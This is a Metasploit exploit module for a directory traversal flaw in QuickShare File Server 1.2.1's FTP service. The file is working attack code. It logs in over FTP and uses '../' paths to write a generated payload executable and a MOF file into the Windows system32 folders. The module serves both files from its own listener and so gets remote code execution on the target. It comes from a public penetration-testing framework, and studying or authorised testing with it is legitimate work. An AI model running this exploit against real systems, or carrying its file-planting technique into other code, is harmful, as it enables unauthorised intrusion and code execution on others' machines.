##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info={})
    super(update_info(info,
      'Name'           => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in QuickShare File Server's FTP
        service.  By supplying "../" in the file path, it is possible to trigger a
        directory traversal flaw, allowing the attacker to read a file outside the
        virtual directory.  By default, the "Writable" option is enabled during account
        creation, therefore this makes it possible to create a file at an arbitrary
        location, which leads to remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'modpr0be', #Discovery, PoC
          'sinn3r'    #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '70776'],
          ['EDB', '16105'],
          ['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
          ['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['QuickShare File Server 1.2.1', {}]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Privileged'     => false,
      'DisclosureDate' => '2011-02-03',
      'DefaultTarget'  => 0))

    register_options(
      [
        # Change the default description so this option makes sense
        OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
      ])
  end


  def check
    connect
    disconnect

    if banner =~ /quickshare ftpd/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  def on_client_connect(cli)
    peer = "#{cli.peerhost}:#{cli.peerport}"

    case @stage
    when :exe
      print_status("Sending executable (#{@exe.length.to_s} bytes)")
      cli.put(@exe)
      @stage = :mof

    when :mof
      print_status("Sending MOF (#{@mof.length.to_s} bytes)")
      cli.put(@mof)
    end

    cli.close
  end


  def upload(filename)
    select(nil, nil, nil, 1)

    peer = "#{rhost}:#{rport}"
    print_status("Trying to upload #{::File.basename(filename)}")

    # We can't use connect_login, because it cannot determine a successful login correctly.
    # For example: The server actually returns a 503 (Bad Sequence of Commands) when the
    # user has already authenticated.
    conn = connect(false, datastore['VERBOSE'])

    res = send_user(datastore['FTPUSER'], conn)

    if res !~ /^(331|2)/
      fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")
    end

    res = send_pass(datastore['FTPPASS'], conn)
    if res !~ /^(2|503)/
      fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")
    end

    # Switch to binary mode
    print_status("Set binary mode")
    send_cmd(['TYPE', 'I'], true, conn)

    # Prepare active mode: Get attacker's IP and source port
    src_ip   = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
    src_port = datastore['SRVPORT'].to_i

    # Prepare active mode: Convert the IP and port for active mode
    src_ip   = src_ip.gsub(/\./, ',')
    src_port = "#{src_port/256},#{src_port.remainder(256)}"

    # Set to active mode
    print_status("Set active mode \"#{src_ip},#{src_port}\"")
    send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)

    # Tell the FTP server to download our file
    send_cmd(['STOR', filename], false, conn)

    disconnect(conn)
  end


  def exploit
    trigger  = '../../../../../../../../'
    exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
    mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"
    @mof      = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
    @exe      = generate_payload_exe
    @stage = :exe

    begin
      t = framework.threads.spawn("reqs", false) {
        begin
          # Upload our malicious executable
          u = upload(exe_name)

          # Upload the mof file
          upload(mof_name) if u
        rescue ::Exception => e
          print_error e.message
          cleanup
        end
      }
      super
    ensure
      t.kill
    end
  end
end
